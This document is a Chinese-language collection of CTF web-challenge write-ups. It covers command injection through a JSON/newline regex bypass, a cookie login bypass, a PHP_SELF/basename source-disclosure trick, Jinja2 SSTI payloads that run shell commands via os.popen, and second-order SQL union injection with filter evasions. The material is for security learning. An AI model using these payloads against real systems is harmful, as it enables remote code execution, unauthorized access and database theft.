1.[FBCTF2019]RCEService
因为这个题目的输入提示是要以json方式输入,百度来了json格式输入模板
注入json格式数据
https://blog.youkuaiyun.com/weixin_35771144/article/details/105782239
当注入点在json格式数据中时sqlmap可能找不到注入点,使用-p指定参数又不好指定json格式中的字段,
这个时候就需要人工修改一下注入的json数据,使SQLMAP能够找到注入参数。例如
{"name":["string"]}
将其修改为以下两种形式都可以使SQLMAP找到该注入点(而不是直接跳过):
// 方式1,加*
{"name":["string*"]}
// 方式2,删掉中括号
{"name":"string"}
先随便输一些
{"cmd":"ls /"} //可能是正则匹配掉了空格
应该是过滤了很多东西
{"cmd":"ls"} //可能是正则匹配掉了空格,这样查询当前目录就可以正确执行
因为preg_match只能匹配一行,用%0A截断,
{%0A"cmd":"ls /"%0A}
在别人的wp上看到了源码,源码中给出了一条路径
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
{%0A"cmd":"ls /home/rceservice"%0A}
{%0A"cmd":"cat /home/rceservice/flag"%0A}
但是这里不能直接使用cat,因为这里的putenv函数会改变环境变量,那么就要用绝对路径来调用系统命令
cat命令在/bin中保存
putenv('PATH=/home/rceservice/jail');
{%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
2.[BSidesCF 2019]Kookie
根据题目的名字,这题应该与cookie有关,打开页面发现提示要用admin登录,并且账户还有cookie和monster两个
在网页中直接username和password都用admin登录,但是是无效的,抓包后,先在cookie头添加账户monster=admin,但是这样没有回显,加上了cookie账户还是没有回显,原来是要把原来url后面get方式传入的参数放在cookie头传入
monster=admin
username=admin;password=admin
3.[Zer0pts2020]Can you guess it?
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF'])); //basename() 函数返回路径中的文件名部分。
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
补充函数注意
basename() 函数返回路径中的文件名部分。
basename(path,suffix)
path:必需,规定要检查的路径
suffix:可选。规定文件扩展名。如果文件有 suffix,则不会输出这个扩展名。
$_SERVE[‘PHP_SELF’] 读取的是当前执行脚本的文件名
不是简单的理解成 url 中的文件名
因为 url 中的文件名可能不存在
https://blog.youkuaiyun.com/ckxkobe/article/details/85238430
因为源码中正则匹配掉了config.php,所以我们不可以直接访问,但是flag又在这个文件中,
因为PHP_SElF这个变量会返回匹配到的结尾的文件,例如如果路径是/index.php/config.php,浏览器的解析结果都是index.php,但是basename会返回config.php
这个题目如果访问的是/index.php/config.php
(运行的是index.php), 这种情况下$_SERVER['PHP_SELF']
是/index.php/config.php
,但basename返回的是config.php
,因此highlight_file
会将config.php
的内容显示出来。也就是说,如果绕过了这个检查,我们就能够得到FLAG。
<?php
echo basename('/index.php/congit.php');
?>
看来了别人的wp知道这里可以找出可以绕过正则匹配的字符,用了别人写的脚本,这里是找出
<?php
function check($str){
return preg_match('/config\.php\/*$/i', $str);
}
for ($i = 0; $i < 255; $i++){
$s = '/index.php/config.php/'.chr($i);
if(!check($s)){
$t = basename('/index.php/config.php/'.chr($i));
echo "${i}: ${t}\n";
}
}
?>
从ascll码大于129的url编码都可以绕过,129的16进制表示是0x81,将0x用%表示,再用?source读取
/index.php/config.php/%81?source
4.[CSCCTF 2019 Qual]FlaskLight
这里提到了flask,是ssti的一种模板,猜测应该是模板注入,查看源码,源码中有被注释掉的提示,提示这里应该用get方式传入search参数
根据这张图片测试以下注入的模板
?search={7*7}
?search={{7*7}}
?search={{7*'7'}}
根据测试的规则,这是jinja2注入
Flask/Jinja2
{{ config.items() }}
{{''.__class__.__mro__[-1].__subclasses__()}}
().__class__.__bases__[0].__subclasses__()
---查看可用模块
().__class__.base__.__subclasses__().index(warnings.catch_warnings)
{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
发现可以执行,构造命令
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
寻找执行命可以借助的类
a. 获取变量[]所属的类名 {{[].__class__}}
页面回显 <type 'list'>
b. 获取list所继承的基类名 {{[].__class__.__base__}}
页面回显 <type 'object'>
c. 获取所有继承自object的类 {{[].__class__.__base__.__subclasses__()}}
这里回显了很长一个列表,这里可以将这些数据放在列表中,通过list.index输出想要的类在第几位。不过需要对这传数据进行简单的处理(将<>换成"")
Payload
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
由于使用[‘globals’]会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式[‘glo’+'bals’]
读取目录flasklight
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}
读取coomme_geeeett_youur_flek得到flag
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
内含os模块的类 class’site._Printer’
a. 目录查询
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
因为这里listdir同样被ban了
b. 读取目录flasklight
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}
c. 读取flag
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}}
5.39.[SWPU2019]Web1
二次注入
先注册一个账号登录,回想起之前做的二次注入,本来以为登陆的地方是注入点,但是,如果在登陆的时候注入就会登录失败,看了别人的wp,发现这个是留言板二次注入
留言板二次注入
我们申请广告的时候数据库将我们输入的恶意字符进行转义,但是写入数据库的时候会将数据还原。当点击查看广告详情的时候数据库对查询到的结果并未严格过滤,导致了二次注入。
-1'union select 1,2,'3
根据题目里面的回显,这里过滤掉了空格,空格在回显的语句里面显示不出来,这里我们可以用/**/代替空格
-1'union/**/select/**/1,2,'3
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
有22列
因为这题过滤掉了information_schema,找到一个应对这个数据库不能使用的博客
[]: https://www.anquanke.com/post/id/193512
information_schema
简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。
在注入中,infromation_schema库的作用无非就是可以获取到table_schema,table_name,column_name这些数据库内的信息。
[[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9OBtHxRq-1611834741311)(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB/AAffA0nNPuCLAAAAAElFTkSuQmCC)]](https://i.loli.net/2019/11/24/Hzf4yvMtaEhDqVU.png
MySQL5.7的新特性
由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。
所以这里可以用这样的注入语句
爆出表名
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
爆出列名
-1'union/**/select/**/1,(select/**/group_concat(f)/**/from(select/**/1,2,3/**/as/**/f/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22